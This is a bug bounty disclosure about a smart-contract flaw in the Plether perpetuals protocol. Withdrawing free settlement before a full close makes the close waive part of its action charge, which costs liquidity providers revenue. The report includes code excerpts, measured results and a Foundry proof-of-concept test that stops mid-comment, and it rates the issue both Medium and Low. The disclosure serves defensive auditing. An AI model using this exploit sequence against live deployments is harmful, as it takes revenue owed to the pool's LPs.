A trader withdraws free settlement before a full close and the close waives the action charge that settlement would have paid
A trader can withdraw its free settlement balance just before a full close, so the close finds fewer eligible funds and waives part of the action charge it would otherwise have collected. The trader keeps the waived amount while the liquidity pool and its LPs receive that much less revenue.
- Disclosed after under an hour
#99960 [SC-Medium] A trader withdraws free settlement before a full close and the close waives the action charge that settlement would have paid
Submitted on Nov 15th 2026 at 22:04:15 UTC by @v4rvl for Audit Competition | Plether
- Report ID: #99960
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Summary
A trader closes a 100,000 USDG long (1000 lots at price 1.00, 500 USDG margin) and is assessed an action charge of 481,576,883 atoms. If the trader keeps its free settlement, the close collects the whole charge. If the trader first withdraws its free settlement through MarginClearinghouse.withdraw, the same close collects only 410,099,676 atoms and waives 71,477,207 atoms. Against the same close without the withdrawal, the trader ends 71,477,207 atoms richer and pool assets end 71,477,207 atoms lower (LP bob loses 71,405,801 atoms and the seed LP loses 71,406 atoms). The treasury is unchanged.
The trader acts alone, with its own funds, through public entrypoints. In a depleted-depth world (price 1.90, 10 lots, 200 USDG margin) the waiver is 152,552,363 atoms. In larger thin-margin positions it is 342,478,920 and 713,303,618 atoms.
The full close collects its action charge from the account's buckets in a fixed order and waives the rest (packages/perps/src/libraries/CfdEnginePlanLib.sol:1093-1133). Free settlement is one of those buckets, but nothing reserves it for the close. The withdrawal guard checks position health, unsettled carry and the VPI reserve, never the charge of a close. The accounting specification says a full close waives "only the shortfall after all eligible funds are exhausted", and it forbids shielding settlement by parking it in committed order margin before terminal settlement. The code closes the parking route and leaves the withdrawal route open.
This is not a profitable attack on its own. A full open and close cycle loses money, pool assets still rise on every close, and the route is closed in degraded mode. The loss is VPI and carry revenue that the specification assigns to the LPs and that they do not receive.
Vulnerability Detail
- The close collects from buckets in a fixed order and waives the rest.
packages/perps/src/libraries/CfdEnginePlanLib.sol:1093-1133(_planCloseCashSources):
uint256 collectibleFreeSettlementAssets = snap.accountBuckets.freeSettlementAssets + releasedVpiReserveAssets;
if (terminal) {
// The full-close reserve is released before pledge attribution and cash collection.
collectibleFreeSettlementAssets += delta.liquidationReserveReleaseAssets;
}
...
if (terminal) {
delta.actionCommittedMarginConsumedAssets = actionChargeAfterFreeAssets
< snap.lockedBuckets.committedOrderMarginAssets
? actionChargeAfterFreeAssets
: snap.lockedBuckets.committedOrderMarginAssets;
}
delta.actionChargeCollectedAssets = delta.vpiRebateReserveConsumedAssets + delta.actionReserveConsumedAssets
+ freeConsumedAssets + delta.actionChargeFromReleasedMarginAssets
+ delta.actionCommittedMarginConsumedAssets;
delta.actionChargeWaivedAssets = delta.actionChargeToCollectAssets - delta.actionChargeCollectedAssets;
The order is: spendable action reserve, then free settlement plus released VPI backing and the released liquidation reserve (:1111-1115), then released pledge, then committed order margin (:1124-1129). Whatever is left is waived (:1133) and reported in ActionChargeSettled (packages/perps/src/CfdEngineSettlementSidecar.sol:673-679).
- Free settlement can be withdrawn while the position is open.
MarginClearinghouse.withdraw(packages/perps/src/MarginClearinghouse.sol:403) calls_withdraw, which debits the balance and calls the engine guard (packages/perps/src/MarginClearinghouse.sol:441-465, guard call at:464). The engine'scheckWithdraw(packages/perps/src/CfdEngine.sol:730) runsvalidateWithdraw(packages/perps/src/CfdEngineSettlementSidecar.sol:255-285). For an account with a position, the checks are degraded mode, a live mark, carry realisation and_requireWithdrawPositionHealthy(packages/perps/src/CfdEngineSettlementSidecar.sol:287-305):
if (engine.unsettledCarryAssets(account) != 0) {
revert ICfdEngineTypes.CfdEngine__WithdrawBlockedByOpenPosition();
}
IMarginClearinghouse clearinghouse = IMarginClearinghouse(host.clearinghouse());
if (clearinghouse.vpiRebateReserveAssets(account) < _negativeVpiReserveTarget(pos.vpiAccrued)) {
revert ICfdEngineTypes.CfdEngine__WithdrawBlockedByOpenPosition();
}
uint256 reachableAssets = clearinghouse.pnlPledgeAssets(account) + engine.traderClaimBalanceAssets(account);
if (_withdrawPositionLiquidatable(engine, pos, account, price, reachableAssets)) {
revert ICfdEngineTypes.CfdEngine__WithdrawBlockedByOpenPosition();
}
No check compares the remaining free settlement with the action charge that a full close of the position would assess, or with a pending close order.
-
The close commit does not reserve anything for the charge.
CfdEnginePlanner.planCloseCommit(packages/perps/src/CfdEnginePlanner.sol:19-24) callsCloseCommitmentLib.project(packages/perps/src/libraries/CloseCommitmentLib.sol:13-55), which checks the size, the size quantum and the mark, and projects carry. It does not assess or lock the action charge. -
The parking route is closed, the withdrawal route is not. The specification says "a user must not shield otherwise reachable settlement by parking it in queued committed margin right before terminal settlement" (
packages/perps/ACCOUNTING_SPEC.md:1067). The code enforces that sentence twice: a full close takes the charge from committed order margin (packages/perps/src/libraries/CfdEnginePlanLib.sol:1124-1129), andreserveCommittedOrderMargincheckpoints carry before it locks margin (packages/perps/src/MarginClearinghouse.sol:632). For a flat account with a pending open, withdrawals are also bounded by the order's funded floor (packages/perps/src/CfdEngineSettlementSidecar.sol:261-272). Withdrawing the same settlement to the trader's wallet is not bounded at all, and it has the same effect on the close. -
Result. The trader moves its free settlement out, the full close finds only pledge and liquidation reserve, and the planner waives the difference. The waived amount is exactly the free settlement the close would have consumed: with free settlement left equal to the waiver nothing is waived, and with one atom less exactly one atom is waived (
test_Ordinary_P100_WithdrawFirstWaivesCloseCharge, worlds W2 and W2b).
Impact
Program impact row (Low): "Contract fails to deliver promised returns, but doesn't lose value."
Promised return. The specification assigns the close's VPI and carry charge to the LPs whenever the account can pay it. It says a full close must "waive only the shortfall after all eligible funds are exhausted" (packages/perps/ACCOUNTING_SPEC.md:1035-1036), lists free settlement among those funds (packages/perps/ACCOUNTING_SPEC.md:1042-1044), and says "A waiver at the engine settlement boundary implies no eligible cash remains" (packages/perps/ACCOUNTING_SPEC.md:1045). It also says a user must not shield reachable settlement before terminal settlement (packages/perps/ACCOUNTING_SPEC.md:1067). With one withdrawal before the close, the trader keeps settlement that the close would have collected, and the LPs do not receive that part of the charge.
Fair control. The control is the same close of the same position at the same price and block, with the free settlement kept (world W1). The only change is the trader's withdrawal (W3 between commit and execution, W4 before the commit). Measured deltas, in USDG atoms:
| world | assessed | recovered | waived | trader | pool assets | LP bob | seed LP | treasury |
|---|---|---|---|---|---|---|---|---|
| price 1.00, 1000 lots, margin 500, W1 control | 481,576,883 | 481,576,883 | 0 | -481,577,008 | +441,577,008 | +441,135,863 | +441,145 | +40,000,000 |
| same, W3 free settlement withdrawn | 481,576,883 | 410,099,676 | 71,477,207 | -410,099,801 | +370,099,801 | +369,730,062 | +369,739 | +40,000,000 |
| W3 - W1 | +71,477,207 | -71,477,207 | -71,405,801 | -71,406 | 0 | |||
| price 1.90, depleted depth, 10 lots, margin 200, W1 control | 359,974,025 | 359,974,025 | 0 | -359,975,623 | +359,215,623 | +340,988,342 | +18,227,281 | +760,000 |
| same, W3 free settlement withdrawn | 359,974,025 | 207,421,662 | 152,552,363 | -207,423,260 | +206,663,260 | +196,176,770 | +10,486,490 | +760,000 |
| W3 - W1 | +152,552,363 | -152,552,363 | -144,811,572 | -7,740,791 | 0 |
- Who gains and who loses. The trader keeps exactly the waived amount. The pool, and through it the Junior and Senior LPs, receive that much less. The treasury's execution fee is collected first and does not change. No keeper is involved.
- When it is non-zero. The waiver is the charge minus what the pledge and the liquidation reserve can pay. In the first world, 310,099,801 + 100,000,000 = 410,099,801 (pledge plus reserve), and the close recovers 410,099,676 of the charge. So the route pays only for positions whose close charge exceeds their pledge plus reserve: thin-margin positions on the minority side after skew grew or pool depth fell.
- Timing does not matter. W4, where the trader withdraws before it commits the close, gives the same trader and pool deltas as W3 (the waiver differs by one atom of rounding).
- An order bound does not help the LP. With
maxActionChargeAssetsset to 100 USDG and the free settlement withdrawn, the close is refused (status 3, Failed, reason 8, ConstraintViolation) and the position stays open (test_Ordinary_P100_BoundedOrderIsRefused). The bound is a trader-side option and plays no part in the waiver.
Why Low and not higher. No deposited value is lost. Pool assets rise on every measured close, and the LPs are never pushed below their starting assets. The amount is revenue the LPs should have received, not principal. "Theft of unclaimed yield" (High) was considered: the waived charge was never credited to the LPs, so it is not yield they held. "Griefing" (Medium) does not fit either: the trader gains, and the LP's loss is limited to the waived charge.
Limits
- Not profitable on its own. A full open and close cycle with two accounts of one owner loses money in every measured size, because both legs pay fees and the lifetime VPI clamp (
packages/perps/src/libraries/CloseAccountingLib.sol:112-118) caps a close rebate at the VPI paid at open. The withdrawal only makes the loss smaller, by the waived amount (test_TwoAccountCycle_NotProfitable, amounts in atoms):
| A lots | A margin | waived | group result, withdraw-first | group result, control | pool assets, withdraw-first | pool assets, control |
|---|---|---|---|---|---|---|
| 1000 | 500,000,000 | 71,477,207 | -894,242,989 | -965,720,196 | +617,122,989 | +688,600,196 |
| 2000 | 1,000,000,000 | 342,478,920 | -1,474,244,344 | -1,816,723,263 | +1,077,124,344 | +1,419,603,263 |
| 3000 | 1,600,000,000 | 713,303,618 | -2,154,325,952 | -2,867,629,569 | +1,637,165,952 | +2,350,469,569 |
The group difference equals the waiver within one atom of rounding (71,477,207, 342,478,919 and 713,303,617).
- Pool assets still rise. The LPs receive less than the charge, but every measured close still adds to pool assets.
- Not in degraded mode.
validateWithdrawrevertsCfdEngine__DegradedModefor an account with a position (packages/perps/src/CfdEngineSettlementSidecar.sol:274-276). - Only thin-margin positions. The waiver is non-zero only when the close charge exceeds pledge plus liquidation reserve.
- The waiver mechanism is documented.
packages/perps/ACCOUNTING_SPEC.md:1187andpackages/perps/WHITEPAPER.md:341say an uncollectible terminal action charge or remainder is waived, so that a full close can always complete. The report does not dispute the waiver. It disputes that the trader can make the charge uncollectible by moving eligible settlement out first, which the same specification forbids for the parking route (packages/perps/ACCOUNTING_SPEC.md:1067). No sentence in the documents names the withdrawal route, either to allow it or to forbid it. - The fixture's
MockPythstands in for Pyth and its token for USDG. Both are out-of-scope components.
References
packages/perps/ACCOUNTING_SPEC.md:1035-1036: on a full close, the unused pledge and liquidation reserve are released into free settlement "before collecting action charges", then the close must "waive only the shortfall after all eligible funds are exhausted".packages/perps/ACCOUNTING_SPEC.md:1042-1045: full closes collect action charges from spendable action reserve, free settlement, safely released pledge and committed order margin, and "A waiver at the engine settlement boundary implies no eligible cash remains".packages/perps/ACCOUNTING_SPEC.md:1067: "a user must not shield otherwise reachable settlement by parking it in queued committed margin right before terminal settlement".packages/perps/ACCOUNTING_SPEC.md:1187andpackages/perps/WHITEPAPER.md:341: an uncollectible terminal action charge is waived. These sentences describe the waiver. They do not say whether a trader may create the shortfall.- Code:
packages/perps/src/libraries/CfdEnginePlanLib.sol:1093-1133,packages/perps/src/MarginClearinghouse.sol:441-465,packages/perps/src/CfdEngineSettlementSidecar.sol:255-305,packages/perps/src/libraries/CloseCommitmentLib.sol:13-55.
Proof of Concept
Proof of Concept
Steps to reproduce
- Set the release risk parameters through the timelocked owner path and fund the actors.
- The trader opens 1000 lots long at price 1.00 with 500 USDG margin. bob shorts to 98 % of the skew cap, so the trader's close raises skew.
- Snapshot. W1: the trader commits a full close and it executes.
- Revert to the snapshot. W3: the trader commits the full close, calls
clearinghouse.withdraw(trader, freeSettlement), and the close executes. W4: the same withdrawal before the commit. - Compare the
ActionChargeSettledevent (assessed, recovered, waived) and the balance changes of the trader, the pool, the LPs and the treasury. - Repeat in a depleted-depth world (price 1.90, bob redeems Junior through ordinary LP epochs).
- Run a full cycle with two accounts of one owner (A long, B short, A withdraws and closes, B closes) to show the cycle is not profitable.
Proof of concept
Save the file below as packages/perps/test/perps/CloseChargeWaiver.t.sol and run, from packages/perps:
forge test --match-path 'test/perps/CloseChargeWaiver.t.sol' -vv
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdEngineAdminHost} from "@plether/perps/interfaces/ICfdEngineAdminHost.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";
import {console2} from "forge-std/console2.sol";
import {OrderRouterPythTestBase} from "./shared/OrderRouterTestBase.sol";
/// A terminal full close collects its assessed action charge from the account's buckets in a fixed order
/// (CfdEnginePlanLib.sol:1093-1133) and waives whatever is left. Nothing ties the account's free settlement to that
/// charge: the trader withdraws its free settlement through MarginClearinghouse.withdraw (guard
/// CfdEngineSettlementSidecar.sol:287-305 checks health, unsettled carry and the VPI reserve only) and the close then
/// waives the part the free settlement would have paid. The control is the same close without the withdrawal.
/// Public entrypoints only. Tokens are minted only to fund actors. All amounts are in USDG atoms (6 decimals).
contract CloseChargeWaiverTest is OrderRouterPythTestBase {
address internal keeper = address(0x4EE9);
address internal trader = address(0x71C7); // the account that closes and withdraws first
uint256 internal constant T0 = SETUP_TIMESTAMP + 10 hours;
uint256 internal constant LOT = 100e18;
uint256 internal constant MAX_EPOCHS = 8;
bytes32 internal constant ACTION_CHARGE_SETTLED = keccak256("ActionChargeSettled(address,uint256,uint256,uint256)");
uint256 internal now_;
int64 internal px;
// ------------------------------------------------------------------ fixture helpers
/// Release parameters of packages/perps/DEPLOYMENT.md (0.1 % maintenance, 0.2 % initial, 3 % frozen margin,
/// 0.04 % execution fee, 0.50 % frozen-close spread, Senior cap 40M and 80 %), set through the timelocked owner path.
function _release() internal {
IHousePool.PoolConfig memory pc = _currentPoolConfig();
pc.maxSeniorExposureAssets = 40_000_000e6;
pc.maxSeniorShareBps = 8_000;
pc.seniorRateBps = 800;
pool.proposePoolConfig(pc);
vm.warp(pool.poolConfigActivationTime());
pool.finalizePoolConfig();
ICfdEngineAdminHost.EngineRiskConfig memory config;
config.riskParams = CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5_000,
protocolShareBps: 0
});
config.executionFeeBps = 4;
config.frozenCloseSpreadBps = 50;
config.settlementBufferBps = 25;
engineAdmin.proposeRiskConfig(config);
vm.warp(vm.getBlockTimestamp() + 72 hours + 1);
engineAdmin.finalizeRiskConfig();
}
function _blob(int64 price, uint256 t, uint256 tPrev) internal pure returns (bytes[] memory d) {
MockPyth.FeedUpdate[] memory u = new MockPyth.FeedUpdate[](2);
u[0] = MockPyth.FeedUpdate(FEED_A, MockPyth.MockPrice(price, 0, int32(-8), t, tPrev));
u[1] = MockPyth.FeedUpdate(FEED_B, MockPyth.MockPrice(price, 0, int32(-8), t, tPrev));
d = new bytes[](1);
d[0] = abi.encode(u);
}
function _tick(uint256 dt) internal {
now_ += dt;
vm.warp(now_);
vm.roll(vm.getBlockNumber() + 1);
}
function _mark() internal {
_tick(2);
bytes[] memory b = _blob(px, now_ - 1, now_ - 2);
vm.prank(keeper);
router.updateMarkPrice(b);
}
function _fund(address who, uint256 amt) internal {
settlementToken.mint(who, amt);
vm.startPrank(who);
settlementToken.approve(address(clearinghouse), type(uint256).max);
clearinghouse.deposit(who, amt);
vm.stopPrank();
}
function _request(CfdTypes.Side side, uint256 size, uint256 margin, bool isClose, uint256 maxCharge)
internal
view
returns (OrderV3Types.OrderRequest memory req)
{
req = OrderV3Types.OrderRequest({
clientOrderId: keccak256(abi.encode(now_, size, margin, isClose, gasleft())),
side: side,
sizeDelta: size,
marginDelta: margin,
targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
isClose: isClose,
bounds: OrderV3Types.ExecutionBounds({
submitBy: uint64(block.timestamp) + uint64(router.maxExecutionWindowSeconds()),
executionWindowSeconds: uint32(router.maxExecutionWindowSeconds()),
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: maxCharge,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
})
});
}
function _commit(address a, CfdTypes.Side side, uint256 size, uint256 margin, bool isClose, uint256 maxCharge)
internal
returns (uint64 id)
{
if (engine.lastMarkTime() + 40 < now_) _mark();
_tick(1);
OrderV3Types.OrderRequest memory req = _request(side, size, margin, isClose, maxCharge);
vm.prank(a);
id = router.commitOrder(req);
}
function _exec(address a, uint64 id) internal returns (OrderV3Types.ExecutionResult memory r) {
_tick(2);
bytes[] memory b = _blob(px, now_ - 1, now_ - 2);
vm.prank(a);
r = router.executeOrder(id, b);
}
function _must(address a, CfdTypes.Side side, uint256 size, uint256 margin, bool isClose) internal {
uint64 id = _commit(a, side, size, margin, isClose, type(uint256).max);
OrderV3Types.ExecutionResult memory r = _exec(a, id);
require(r.status == OrderV3Types.LifecycleStatus.Executed, "trade not executed");
}
function _size(address a) internal view returns (uint256 s) {
(s,,,,,,) = engine.positions(a);
}
function _cash(address a) internal view returns (int256) {
return int256(settlementToken.balanceOf(a) + clearinghouse.balanceAssets(a));
}
function _depth() internal view returns (uint256) {
return pool.totalAssets() - engine.totalTraderClaimBalanceAssets();
}
function _treasury() internal view returns (int256) {
address t = engine.protocolTreasury();
return int256(settlementToken.balanceOf(t) + clearinghouse.balanceAssets(t));
}
/// bob is the fixture's Junior LP (1,000,000 USDG). In these worlds he also holds the short book, which stays
/// open and unchanged through the trader's close, so his change across the close is his Junior share value.
function _bobTotal() internal view returns (int256) {
return _cash(bob) + int256(juniorVault.estimateRedeemAssets(juniorVault.balanceOf(bob)));
}
/// The fixture's seed LP (this test contract) holds Junior and Senior shares.
function _seedTotal() internal view returns (int256) {
return int256(juniorVault.estimateRedeemAssets(juniorVault.balanceOf(address(this))))
+ int256(seniorVault.estimateRedeemAssets(seniorVault.balanceOf(address(this))));
}
function _free(address a) internal view returns (uint256) {
return clearinghouse.getAccountAssetBuckets(a).freeSettlementAssets;
}
/// bob redeems Junior through ordinary LP epochs until the pool cap binds (lowers pool depth).
function _epochs() internal {
for (uint256 i; i < MAX_EPOCHS; ++i) {
_mark();
(,,, uint256 maxJ) = pool.getPendingTrancheState();
uint256 jp = pool.juniorPrincipal();
uint256 bal = juniorVault.balanceOf(bob);
uint256 shares = maxJ >= jp ? bal : bal * maxJ / jp * 9_999 / 10_000;
uint256 mx = juniorVault.maxRequestRedeem(bob);
if (shares > mx) shares = mx;
if (shares == 0 || maxJ < 10e6) break;
vm.prank(bob);
uint256 id = juniorVault.requestRedeem(shares, bob, bob);
now_ = pool.lpEpochStart(id) + 30;
vm.warp(now_);
_tick(1);
bytes[] memory b = _blob(px, now_ - 1, now_ - 2);
vm.prank(keeper);
router.settleLpEpoch(b);
_mark();
uint256 c = juniorVault.claimableRedeemRequest(id, bob);
if (c > 0) {
vm.prank(bob);
juniorVault.claimRedeem(id, c, bob, bob);
}
}
require(!engine.degradedMode(), "degraded");
}
// ------------------------------------------------------------------ one close, measured
struct Res {
bool executed;
uint256 withdrawn;
uint256 freeAtExec;
uint256 assessed;
uint256 recovered;
uint256 waived;
int256 trader; // wallet + clearinghouse: the withdrawn amount stays in the trader's wallet and is counted
int256 pool; // pool.totalAssets()
int256 lpBob; // bob's Junior shares + cash
int256 lpSeed; // seed LP's Junior + Senior shares
int256 treasury;
int256 keeperW;
}
function _snapRes() internal view returns (Res memory b) {
b.trader = _cash(trader);
b.pool = int256(pool.totalAssets());
b.lpBob = _bobTotal();
b.lpSeed = _seedTotal();
b.treasury = _treasury();
b.keeperW = _cash(keeper);
}
function _parseCharge(Res memory r) internal {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i; i < logs.length; ++i) {
if (logs[i].topics.length > 0 && logs[i].topics[0] == ACTION_CHARGE_SETTLED) {
(r.assessed, r.recovered, r.waived) = abi.decode(logs[i].data, (uint256, uint256, uint256));
}
}
}
/// The trader's full close. `withdrawAmt` of free settlement is withdrawn through MarginClearinghouse.withdraw,
/// either right before the close commit (`beforeCommit`) or between commit and execution. Deltas run from just
/// before the close (and before any withdrawal) to just after its execution.
function _closeWorld(uint256 withdrawAmt, bool beforeCommit, uint256 maxCharge) internal returns (Res memory r) {
Res memory b = _snapRes();
_mark(); // a withdrawal with an open position needs a fresh mark
if (beforeCommit && withdrawAmt > 0) {
vm.prank(trader);
clearinghouse.withdraw(trader, withdrawAmt);
}
uint64 id = _commit(trader, CfdTypes.Side.LONG, _size(trader), 0, true, maxCharge);
if (!beforeCommit && withdrawAmt > 0) {
vm.prank(trader);
clearinghouse.withdraw(trader, withdrawAmt);
}
r.withdrawn = withdrawAmt;
r.freeAtExec = _free(trader);
vm.recordLogs();
OrderV3Types.ExecutionResult memory x = _exec(trader, id);
_parseCharge(r);
r.executed = x.status == OrderV3Types.LifecycleStatus.Executed;
if (!r.executed) {
console2.log(" close status (3 = Failed)", uint256(uint8(x.status)));
console2.log(" close terminal reason (8 = ConstraintViolation)", uint256(uint8(x.terminalReason)));
}
Res memory a = _snapRes();
r.trader = a.trader - b.trader;
r.pool = a.pool - b.pool;
r.lpBob = a.lpBob - b.lpBob;
r.lpSeed = a.lpSeed - b.lpSeed;
r.treasury = a.treasury - b.treasury;
r.keeperW = a.keeperW - b.keeperW;
}
function _log(string memory tag, Res memory r) internal pure {
console2.log(tag);
console2.log(" close executed", r.executed);
console2.log(" free settlement withdrawn by the trader", r.withdrawn);
console2.log(" free settlement left at execution", r.freeAtExec);
console2.log(" action charge assessed", r.assessed);
console2.log(" action charge recovered", r.recovered);
console2.log(" action charge waived", r.waived);
console2.log(" delta trader", r.trader);
console2.log(" delta pool assets", r.pool);
console2.log(" delta LP bob", r.lpBob);
console2.log(" delta seed LP", r.lpSeed);
console2.log(" delta treasury", r.treasury);
console2.log(" delta keeper", r.keeperW);
}
function _diff(string memory tag, Res memory a, Res memory c) internal pure {
console2.log(tag);
console2.log(" trader", a.trader - c.trader);
console2.log(" pool assets", a.pool - c.pool);
console2.log(" LP bob", a.lpBob - c.lpBob);
console2.log(" seed LP", a.lpSeed - c.lpSeed);
console2.log(" treasury", a.treasury - c.treasury);
}
/// Ordinary market at price p: the trader opens a long first (book flat), then bob's short book takes the skew to
/// 98 % of the cap, so the trader is the minority side and his full close raises skew. No LP redemption, no
/// claims, not degraded.
function _buildOrdinary(int64 p, uint256 traderLots, uint256 traderMargin, uint256 traderFunds) internal {
_release();
now_ = T0;
vm.warp(now_);
px = p;
_mark();
_fund(bob, 400_000e6);
_fund(trader, traderFunds);
_must(trader, CfdTypes.Side.LONG, traderLots * LOT, traderMargin, false);
uint256 lots = traderLots + (_depth() * 4 / 10) * 98 / 100 / uint256(uint64(px));
_must(bob, CfdTypes.Side.SHORT, lots * LOT, 60_000e6, false);
console2.log(" pool depth", _depth());
console2.log(" trader lots / bob short lots", traderLots, lots);
console2.log(" trader pnl pledge", clearinghouse.pnlPledgeAssets(trader));
console2.log(" trader liquidation reserve", clearinghouse.liquidationReserveAssets(trader));
console2.log(" trader free settlement", _free(trader));
}
/// W1 control (no withdrawal), W2 free settlement left exactly at the W3 waiver, W2b one atom less,
/// W3 all free settlemen
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the withdrawal guard checks position health, unsettled carry and the VPI reserve but never reserves free settlement for the action charge a full close would assess, so the trader can move that settlement out before the close.
Impact
The trader keeps exactly the waived charge and the pool and its LPs receive that much less, though pool assets still rise on every close and the route is closed in degraded mode and only affects thin-margin positions.
What the attacker needed
A funded trader account; an open thin-margin position; trader withdraws free settlement first; close charge exceeds pledge plus reserve
The fix
The withdrawal guard should reserve the action charge a full close of the position would assess, so free settlement cannot be moved out to force a waiver.
How it was found
- Set the release risk parameters through the timelocked owner path and fund the actors.
- The trader opens a long position and bob shorts to near the skew cap so the trader's close raises skew.
- Snapshot, then in the control world the trader commits a full close and it executes.
- Revert to the snapshot; the trader commits the full close, withdraws its free settlement, and the close executes.
- Compare the ActionChargeSettled event and the balance changes of the trader, pool, LPs and treasury.
- Repeat in a depleted-depth world and run a full cycle with two accounts of one owner to show it is not profitable.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a trader closes a position, the system charges a fee and takes it from several pots of money the trader holds. One of those pots can be emptied by the trader beforehand, so the fee cannot be fully collected and the rest is simply written off. The trader keeps that money, and the pool of funds that other users lend into gets less than it should.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.